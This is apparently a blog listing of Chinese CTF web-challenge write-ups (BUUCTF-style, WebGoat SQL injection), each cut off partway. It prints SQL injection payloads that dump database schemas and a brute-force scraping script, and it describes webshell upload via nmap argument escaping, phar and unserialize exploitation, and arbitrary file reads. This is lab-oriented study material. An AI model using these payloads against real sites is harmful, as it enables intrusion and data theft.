3.sql注入模块审计
sql injection (intro)1.SqlInjection.lesson9f12打开控制台,点击get account info,发现数据提交到了/assignment5a路由
全局搜索/assignment5a路由定位到
webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5a.java
12345@PostMapping("/SqlInjection/assignment5a")@ResponseBodypublic AttackResult completed(@RequestParam String account, @RequestParam String operator, @RequestParam String injection) { return injectableQuery(account + " " + operator + &q ...
20.[ZJCTF 2019]NiZhuanSiWei
考察知识点:
1.php伪协议(php://input,php:///filter)
2.序列化 toString
1.打开网站发现源代码
12345678910111213141516171819<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo & ...
19.[极客大挑战 2019]LoveSQL
考察知识点:
1.union/**/select sql注入
过滤测试
虽然select被过滤但是union/**/select还可以使用
2.确定字段数
构造:
1?username=admin&password=admin'union/**/select+null,null,null#
当null的数量为四时,报错,所以查询数据库表有四个字段
3.确定回显点
用户密码可用作回显点
\4. 暴库
![3](19.[极客大挑战 2019]LoveSQL/3.png)
5.爆表
1/check.php?username=admin&password=admin'union/**/select+null,null,group_concat(table_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database();%23
![4](19.[极客大挑战 2019]LoveSQL/4.png)
\6. 爆字段内容
1?username=admin&am ...
18.[CISCN2019 华北赛区 Day1 Web2]ikun
考察知识点:
1.python 脚本编写
\2. jwt破解
\3.
1.提示需要冲到lv6
\2. 发现下一页可以一直点击,推测lv6在某一页
采用脚本爆破:
因为网页中的会员等级在网页中是等级对应的图片,所以爆破脚本只需要不断获取lv6.png即可
123456789101112import requestsurl='http://0302ff1f-762a-4a95-8aad-32d665cf5b9f.node3.buuoj.cn/shop?page='for i in range(0,500): r=requests.get(url+str(i)) print(url+str(i)) # print(r.text) if "lv6.png" in r.text: print(i) break
最终在181页发现lv6
3.购买会员,但是发现钱不够,抓包发现可以任意更改折扣
当折扣改的足够小时,会发生302跳转,
\4. 跳转的302页面,显示只允许admin用户访问,所以此时 ...
17.[BUUCTF 2018]Online Tool
考察知识点:
1.nmap -oG参数具有写文件操作
2.PHP escapeshellarg()+escapeshellcmd() 之殇
两个函数搭配会使原来的转义效果,消失
https://paper.seebug.org/164/
\1. 构造一句话木马访问即可
2.蚁剑访问即可
16.[SUCTF 2019]Pythonginx
考察知识点:
\1. pathon CVE-2019-9636:urlsplit不处理NFKC标准化
\2. nginx 配置文件
1.题目给出源码
123456789101112131415161718192021222324@app.route('/getUrl', methods=['GET', 'POST'])def getUrl(): url = request.args.get("url") host = parse.urlparse(url).hostname if host == 'suctf.cc': return "我扌 your problem? 111" parts = list(urlsplit(url)) host = parts[1] if host == 'suctf.cc': return "我扌 your problem? 222 &qu ...
15.[CISCN2019 华北赛区 Day1 Web1]Dropbox
考察知识点:
1.任意文件下载
2.phar://伪协议 触发序列化造成文件读取
https://blog.csdn.net/weixin_44077544/article/details/102844554
1.任意文件下载漏洞下载网页源码
有这几个php文件,主要看class.php和delete.php文件按
\2. 源码分析
download.php中下载的文件名不能含有flag.php
所以推测存在flag文件
12345678910111213141516171819202122232425262728293031323334<?phpsession_start();if (!isset($_SESSION['login'])) { header("Location: login.php"); die();}if (!isset($_POST['filename'])) { die();}include "class.php"; ...
14.[极客大挑战 2019]PHP
考察知识点:
1.反序列化
2.__wakkeup的绕过
3.private,public,属性方法序列化后的差异
1.本题就是简单的代码审计题
2.确定反序列化漏洞点
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051index.php<?phpinclude 'class.php';$select = $_GET['select'];$res=unserialize(@$select);?>class.php<?phpinclude 'flag.php';error_reporting(0);class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($usernam ...
13.[0CTF 2016]piapiapia
考察知识点:
1.数组绕过preg_match()正则表达式
*2.*改变序列化字符串长度导致反序列化漏洞
3.www.zip源码泄露
1.ctf-scan扫描发现www.zip得到网站源码
2.代码审计
大体看了一下发现config.php中存在flag
3.seay扫描代码
frofile.php可能存在文件读取漏洞可以得到config.php中的flag
4.我们只要能控制$peofile[‘photo’]=config.php;即可读取到flag
5.查看$peofile[‘photo’]的值来自何方
1234profile.php$username = $_SESSION['username'];$profile=$user->show_profile($username);
123456789class.phppublic function show_profile($username) { $username = parent::filter($username); $where = "username = & ...
12.[RoarCTF 2019]Easy Java
考察知识点:
1.Java 任意文件读取
2. java配置文件web.xml读取
1.访问help
2. 感觉是文件读取,改为post请求
3. 尝试读取java的配置文件
找到flag文件所在位置
4.尝试读取flag文件
java编译的class文件存放在classes文件下:
然后访问flag,因为时目录,所以需要将.换位/
所以访问:
/Download?filename=WEB-INF/classes/com/wm/ctf/FlagController.class
base64解码即可得到flag